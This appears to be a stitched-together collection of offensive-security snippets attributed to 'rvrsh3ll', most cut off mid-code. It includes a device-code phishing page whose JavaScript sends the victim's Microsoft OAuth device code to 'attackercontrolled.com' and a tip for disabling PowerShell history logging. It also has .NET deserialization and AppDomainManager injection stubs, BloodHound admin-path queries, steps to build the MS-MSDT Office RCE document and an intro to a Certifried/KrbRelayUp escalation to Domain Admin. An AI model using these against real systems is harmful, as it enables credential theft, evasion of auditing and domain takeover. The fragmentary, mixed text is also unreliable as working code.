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function Get-DirectoryContent {

<#
    .SYNOPSIS
     
        Function to get directory content
    .EXAMPLE
     
        Get-DirectoryContent -Path "C:\" -HeaderName "poshserver.net" -RequestURL "http://poshserver.net" -SubfolderName "/"
		

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//All credit goes to Ysoserial.net and the great @tiraniddo
//Snippets copied from ysoserial.net
//https://thewover.github.io/Mixed-Assemblies/ - Great read!
//https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui - Another great read
using System;
using System.Collections.Generic;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;

rvrsh3ll

Logs are held by default in the user profile:
\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

this directory also hosts per-application logs

--------------------------------------------------------------
Disable Logging...

remove-module psreadline

rvrsh3ll

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import ssl
import email
import argparse

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# Upload
&{
$ErrorActionPreference = 'Stop'
$AWSRegion = "us-east-1"
$AWSAccessKeyId = "TODO: Access Key"
$AWSSecretAccessKey = "TODO: Secret Access Key"
$BucketName = "TODO: Bucket Name"
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null 
$OpenFileDialog = New-Object System.Windows.Forms.OpenFileDialog
$OpenFileDialog.ShowDialog() | Out-Null

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<!-- This page can be formatted to look like something more interesting -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>

$.get("https://cors-anywhere.herokuapp.com/https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.windows.net").done(function(data) {
	
	$.get("https://attackercontrolled.com/?id=" + data.device_code);
	document.write(data.message);
});
</script>

rvrsh3ll

Computer accounts added to local admins on machines via a group in the local admins

MATCH p1 = (c1:Computer)-[r:MemberOf*1..]->(g1:Group)
WITH c1,g1
MATCH p2 = (g1:Group)-[r:AdminTo]->(c2:Computer)
RETURN c1.name As Principal,c2.name AS Target,g1.name AS ViaGroup

Computer accounts added to local admins on machines explicitly

rvrsh3ll

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;


public sealed class MyAppDomainManager : AppDomainManager
{
  
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {

rvrsh3ll

MS-MSDT 0-day Office RCE

MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).

The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).

Here are the steps to build a Proof-of-Concept docx:

1. Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.

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Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites: